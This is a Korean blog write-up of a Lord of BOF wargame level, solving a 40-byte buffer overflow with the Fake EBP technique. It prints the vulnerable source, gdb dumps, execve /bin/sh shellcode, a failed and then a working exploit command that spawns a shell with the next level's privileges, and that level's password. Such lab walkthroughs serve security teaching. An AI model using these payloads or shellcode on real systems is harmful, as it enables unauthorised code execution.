[해커스쿨 LOB] Level16: Assassin >> Zombie Assassin

두비니

·

2020. 8. 30. 01:47

 

 

 

 


Level 16. Assassin >> Zombie Assassin

Theme: FEBP


 

로그인

id : assassin
pw : pushing me away

 

 

bash2 & 코드확인

[assassin@localhost assassin]$ bash2
[assassin@localhost assassin]$ cat zombie_assassin.c
/*
        The Lord of the BOF : The Fellowship of the BOF
        - zombie_assassin
        - FEBP
*/

#include <stdio.h>
#include <stdlib.h>

main(int argc, char *argv[])
{
        char buffer[40];

        if(argc < 2){
                printf("argv error\n");
                exit(0);
        }

        if(argv[1][47] == '\xbf')
        {
                printf("stack retbayed you!\n");
                exit(0);
        }

        if(argv[1][47] == '\x40')
        {
                printf("library retbayed you, too!!\n");
                exit(0);
        }

        // strncpy instead of strcpy!
        strncpy(buffer, argv[1], 48);
        printf("%s\n", buffer);
}

 

제한조건

1. 매개변수 최소 1개 넘겨주기 (argv error)

2. stack영역 사용불가 (stack betrayed you!)

3. library영역 사용불가 (library betrayed you, too!!)

4. buffer+48영역까지만 bof가능 (strncpy instead of strcpy!)

 

 

 

이번 문제는 Fake EBP 기법을 이용하는 문제입니다. Fake EBP에 대해서 잘 모른다면 글을 읽고 옵시다.

https://dokhakdubini.tistory.com/254

 

[Stack] Fake EBP에 대하여

FEBP(Fake EBP)에 대하여 오늘은 Fake EBP에 대해서 이야기해봅시다. FPO랑 비슷한 맥락입니다. FPO를 몰라도 충분히 이해할 수 있지만, 설명하는 과정에서 FPO와 비교를 하면서 많이 설명할 것이기 때문�

dokhakdubini.tistory.com

 

전반적으로 sfp overflow와 비슷한 흐름입니다. 결론적으로 buffer에는 쉘코드의 주소 및 쉘코드 삽입, sfp에는 (buffer-4)의 주소 삽입, ret에는 leave-ret의 주소를 넣으면 될 것 같네요.

 

그럼 구할건 다음과 같네요.

 

1. shellcode

2. shellcode의 주소

2. buffer-4의 주소

3. leave-ret의 주소

 

 

일단 1번은 해결됐죠?

\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80

 

디스어셈블러 분석은 생략하겠습니다. breakpoint주소는 strncpy 직후입니다.

(gdb) b * main+139
Breakpoint 1 at 0x80484cb
(gdb) r `python -c 'print "A"*40+"B"*4'`
Starting program: /home/assassin/zombie_assassil `python -c 'print "A"*40+"B"*4'`

Breakpoint 1, 0x80484cb in main ()
(gdb) x/100x $esp
0xbffffa94:     0xbffffaa0      0xbffffc32      0x00000030      0x41414141
0xbffffaa4:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffab4:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffac4:     0x41414141      0x42424242      0x00000000      0x00000002
0xbffffad4:     0xbffffb14      0xbffffb20      0x40013868      0x00000002
0xbffffae4:     0x08048390      0x00000000      0x080483b1      0x08048440

buffer-4의 주소가 필요하므로 주소는 0xbffffa9c 들고가겠습니다.

 

 

3번은 디스어셈블만 하면 쉽게 구할 수 있죠?

(gdb) disas main
Dump of assembler code for function main:
0x8048440 <main>:       push   %ebp
0x8048441 <main+1>:     mov    %esp,%ebp
...
0x80484dc <main+156>:   add    $0x8,%esp
0x80484df <main+159>:   leave
0x80484e0 <main+160>:   ret
0x80484e1 <main+161>:   nop
...
End of assembler dump.
(gdb)

 

leave-ret 주소 : 0x80484df

 

 

 

::최종 payload::

 

`python -c 'print (쉘코드 주소) + (쉘코드)+"\x90"*11+"\x9c\xfa\xff\xbf"+"\xdf\x84\x04\x08"'`

여기서 쉘코드 주소는 buffer주소+4가 되겠죠? 쉘코드 주소로는 0xbffffaa4 넣겠습니다.

 

[assassin@localhost assassin]$ ./zombie_assassil `python -c 'print "\xa4\xfa\xff\xbf"+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+"\x90"*15+"\x9c\xfa\xff\xbf"+"\xdf\x84\x04\x08"'`
1▒Ph//shh/bin▒▒PS▒▒°
                    ̀▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒߄
Segmentation fault (core dumped)

 

core분석 합시다.

 

[assassin@localhost assassin]$ gdb -q -c core
Core was generated by `./zombie_assassil ▒▒▒▒1▒Ph//shh/bin▒▒PS▒▒°
                                                                 ̀▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒'.
Program terminated with signal 11, Segmentation fault.
#0  0xbffffaa4 in ?? ()
(gdb) x/100x $esp-0x100
0xbffff9b4:     0x0804826d      0x40021df0      0x00000708      0x40021fd0
0xbffff9c4:     0x4001ad70      0x400143e0      0x00000003      0x40014650
0xbffff9d4:     0x00000001      0xbffff9f0      0x40021df0      0x400145e4
0xbffff9e4:     0x0d790266      0xbffffa6c      0x4002982c      0x40021df0
0xbffff9f4:     0x400143e0      0x400140d4      0x077905a6      0xbffffa84
0xbffffa04:     0x0804820a      0x4001b630      0x400143e0      0x40014650
0xbffffa14:     0x00000001      0xbffffa30      0x08048170      0x400140d4
0xbffffa24:     0x078e530f      0xbffffaac      0x08048257      0x40021ca0
0xbffffa34:     0x400143e0      0xbffffa70      0x4000a7fd      0x400143d0
0xbffffa44:     0x400146b0      0x00000007      0x4000a74e      0x401081ec
0xbffffa54:     0x4000ae60      0xbffffb24      0x400143e0      0x40021df0
0xbffffa64:     0x401088c0      0x4002982c      0x40021df0      0xbffffaa0
0xbffffa74:     0x4000a970      0xbffffc57      0xbffffadf      0x4005d920
0xbffffa84:     0x400143e0      0xbffffaa0      0x40066070      0x40106980
0xbffffa94:     0x0804857e      0xbffffab0      0x401081ec      0xbffffad8
0xbffffaa4:     0x080484dc      0x0804857e      0xbffffab0      0xbffffaa4
0xbffffab4:     0x6850c031      0x68732f2f      0x69622f68      0x50e3896e
0xbffffac4:     0x89e18953      0xcd0bb0c2      0x90909080      0x90909090
0xbffffad4:     0x90909090      0xbffffaac      0x080484df      0x00000002
0xbffffae4:     0xbffffb24      0xbffffb30      0x40013868      0x00000002
0xbffffaf4:     0x08048390      0x00000000      0x080483b1      0x08048440

보니깐 시작주소가 0xbffffab0으로 되어있네요. 0xbffffaac/0xbfffb4로 바꿔주겠습니다. 

 

 

[assassin@localhost assassin]$ ./zombie_assassin `python -c 'print "\xb4\xfa\xff\xbf"+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"+"\x90"*11+"\xac\xfa\xff\xbf"+"\xdf\x84\x04\x08"'`
▒▒▒▒1▒Ph//shh/bin▒▒PS▒▒°
                        ̀▒▒▒▒▒▒▒▒▒▒▒▒▒▒▒߄
bash$ id
uid=515(assassin) gid=515(assassin) euid=516(zombie_assassin) egid=516(zombie_assassin) groups=515(assassin)
bash$ my-pass
euid = 516
no place to hide

 

기법 이해만 하고 있다면 충분히 쉬운 문제였습니다. 다음~